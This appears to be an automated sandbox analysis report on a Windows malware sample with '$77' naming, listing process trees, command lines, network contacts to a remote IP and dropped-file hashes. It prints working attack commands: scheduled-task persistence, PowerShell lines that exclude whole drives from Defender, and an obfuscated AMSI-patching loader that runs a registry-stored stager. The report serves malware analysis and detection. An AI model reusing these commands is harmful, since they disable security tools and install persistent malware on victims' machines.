PID 3084 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 2780 wrote to memory of 3784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2780 wrote to memory of 3784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2780 wrote to memory of 3784 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4312 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4312 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4312 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2780 wrote to memory of 4320 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2780 wrote to memory of 4320 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2780 wrote to memory of 4320 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 5012 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 5012 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 5012 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4320 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 3808 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3808 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 3808 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 3808 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 1668 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 2080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 3180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe
PID 2080 wrote to memory of 3180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe
PID 2080 wrote to memory of 3180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4292 wrote to memory of 3356 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3356 wrote to memory of 592 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 3356 wrote to memory of 676 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 3356 wrote to memory of 952 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3356 wrote to memory of 332 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\dwm.exe

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -s W32Time

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"{path}"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp95A8.tmp.bat""

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'

C:\Users\Admin\AppData\Roaming\$77-update.exe

"C:\Users\Admin\AppData\Roaming\$77-update.exe"

C:\Users\Admin\AppData\Roaming\$77-update.exe

"{path}"

C:\Users\Admin\AppData\Roaming\$77-update.exe

"{path}"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"' & exit

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"'

C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe

"C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:sWNMGeeqxCew{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FLSGNEYIuzMFhJ,[Parameter(Position=1)][Type]$kiGHAznbqu)$DIOjjNYMmVl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$DIOjjNYMmVl.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$FLSGNEYIuzMFhJ).SetImplementationFlags('Runtime,Managed');$DIOjjNYMmVl.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$kiGHAznbqu,$FLSGNEYIuzMFhJ).SetImplementationFlags('Runtime,Managed');Write-Output $DIOjjNYMmVl.CreateType();}$xiKjxKMdFrVWi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$xvEURQKfUvRsOZ=$xiKjxKMdFrVWi.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kRdHuFwzpJrbqTITYLq=sWNMGeeqxCew @([String])([IntPtr]);$RlZrSvAWKtMSzptyefdXge=sWNMGeeqxCew @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lYBgMxVEizx=$xiKjxKMdFrVWi.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$iKmSCJLEDdvGrs=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$lYBgMxVEizx,[Object]('Load'+'LibraryA')));$FdiJtVUqegjunzHmZ=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$lYBgMxVEizx,[Object]('Vir'+'tual'+'Pro'+'tect')));$smSsLJd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iKmSCJLEDdvGrs,$kRdHuFwzpJrbqTITYLq).Invoke('a'+'m'+'si.dll');$hKEbHYWmtcumGqDHV=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$smSsLJd,[Object]('Ams'+'iSc'+'an'+'Buffer')));$qiYZlAeIto=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdiJtVUqegjunzHmZ,$RlZrSvAWKtMSzptyefdXge).Invoke($hKEbHYWmtcumGqDHV,[uint32]8,4,[ref]$qiYZlAeIto);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$hKEbHYWmtcumGqDHV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdiJtVUqegjunzHmZ,$RlZrSvAWKtMSzptyefdXge).Invoke($hKEbHYWmtcumGqDHV,[uint32]8,0x20,[ref]$qiYZlAeIto);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:iMzXCQwJjflk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UAhIvVXBoynSBP,[Parameter(Position=1)][Type]$TcodXjoMtZ)$vjNebDlRByj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$vjNebDlRByj.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$UAhIvVXBoynSBP).SetImplementationFlags('Runtime,Managed');$vjNebDlRByj.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$TcodXjoMtZ,$UAhIvVXBoynSBP).SetImplementationFlags('Runtime,Managed');Write-Output $vjNebDlRByj.CreateType();}$SOLEIKFQZXgwM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$MElQLZKbqvseXf=$SOLEIKFQZXgwM.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bZRCETSSixQSxuhIYAS=iMzXCQwJjflk @([String])([IntPtr]);$vYhXwZNtzAbneOwUOxJaqO=iMzXCQwJjflk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$STHpTQwLTtx=$SOLEIKFQZXgwM.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$EgplVwdjjlhhRv=$MElQLZKbqvseXf.Invoke($Null,@([Object]$STHpTQwLTtx,[Object]('Load'+'LibraryA')));$gaBnDzHwGeirGKgRz=$MElQLZKbqvseXf.Invoke($Null,@([Object]$STHpTQwLTtx,[Object]('Vir'+'tual'+'Pro'+'tect')));$xiMcSoR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EgplVwdjjlhhRv,$bZRCETSSixQSxuhIYAS).Invoke('a'+'m'+'si.dll');$qbbeLlIKyRmGLYkjg=$MElQLZKbqvseXf.Invoke($Null,@([Object]$xiMcSoR,[Object]('Ams'+'iSc'+'an'+'Buffer')));$gzGhcLYPUy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gaBnDzHwGeirGKgRz,$vYhXwZNtzAbneOwUOxJaqO).Invoke($qbbeLlIKyRmGLYkjg,[uint32]8,4,[ref]$gzGhcLYPUy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qbbeLlIKyRmGLYkjg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gaBnDzHwGeirGKgRz,$vYhXwZNtzAbneOwUOxJaqO).Invoke($qbbeLlIKyRmGLYkjg,[uint32]8,0x20,[ref]$gzGhcLYPUy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{a21aff78-d8a4-482d-ad94-3f80eabeb177}

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k WerSvcGroup

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 456 -p 3340 -ip 3340

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"' & exit

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 448 -p 4480 -ip 4480

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 3340 -s 900

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 4480 -s 356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"'

C:\Users\Admin\AppData\Local\Temp\lsnupy.exe

"C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"' & exit

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"'

C:\Users\Admin\AppData\Local\Temp\sjtjny.exe

"C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"

C:\Windows\SysWOW64\dllhost.exe

C:\Windows\SysWOW64\dllhost.exe /Processid:{584339b2-d48e-479b-aedf-d04e62003a81}

C:\Windows\SysWOW64\dllhost.exe

C:\Windows\SysWOW64\dllhost.exe /Processid:{584339b2-d48e-479b-aedf-d04e62003a81}

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"' & exit

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"'

C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe

"C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "$77Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe" /rl HIGHEST /f

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\$77win\$77Client.exe

"C:\Windows\system32\$77win\$77Client.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "$77Client" /sc ONLOGON /tr "C:\Windows\system32\$77win\$77Client.exe" /rl HIGHEST /f

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Network

Country Destination Domain Proto
CH 179.43.187.19:5555 tcp
CH 179.43.187.19:5555 tcp
CH 179.43.187.19:5555 tcp
CH 179.43.187.19:18875 179.43.187.19 tcp
CH 179.43.187.19:5555 tcp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
CH 179.43.187.19:5555 tcp
CH 179.43.187.19:2326 tcp
US 8.8.8.8:53 tools.keycdn.com udp
DE 185.172.148.96:443 tools.keycdn.com tcp
US 8.8.8.8:53 api.ipify.org udp
US 54.91.59.199:443 api.ipify.org tcp

Files

memory/2328-132-0x0000000000560000-0x00000000005F8000-memory.dmp

memory/2328-133-0x00000000055C0000-0x0000000005B64000-memory.dmp

memory/2328-134-0x0000000005010000-0x00000000050A2000-memory.dmp

memory/2328-135-0x00000000050B0000-0x000000000514C000-memory.dmp

memory/2328-136-0x0000000004F80000-0x0000000004F8A000-memory.dmp

memory/2328-137-0x000000000E530000-0x000000000E596000-memory.dmp

memory/3084-138-0x0000000000000000-mapping.dmp

memory/3084-139-0x0000000000400000-0x0000000000412000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe.log

MD5 3aea5c16a0e7b995983bd1771d5ea11d
SHA1 5ce845c82ace7946cec271a8bac45572b977419c
SHA256 8d7143472e7cf3a40f46c6346251661e10fe3a932321cff14190648ee3d9c02f
SHA512 4d0949cc3c0b7bc19b94a7166fb1a528c5833773b4b577f1730c4aab93ec03f3d72714ebf8a103f2a6ab4f97abef2945e78c91d464885fb4f1f9c584d7a1b243

memory/4312-141-0x0000000000000000-mapping.dmp

memory/2780-142-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\tmp95A8.tmp.bat

MD5 90e00d156a647913f248e36d7a58c98b
SHA1 7fb10487fdb3b98049e8ce9fa8ec961a00dd6399
SHA256 d53833e15dc7372fa162c596e326c8bae32a0103b4308094f25751669b955ace
SHA512 c5370b42d85637e1f189ac7466d5bcea2395d2f91e1b8ead7df8e3a1b4578bbf9e2089592b5ff7bd2907d599f64eccbc115b75f3bedc77df521719710317400f

memory/3784-144-0x0000000000000000-mapping.dmp

memory/1116-145-0x0000000000000000-mapping.dmp

memory/4320-146-0x0000000000000000-mapping.dmp

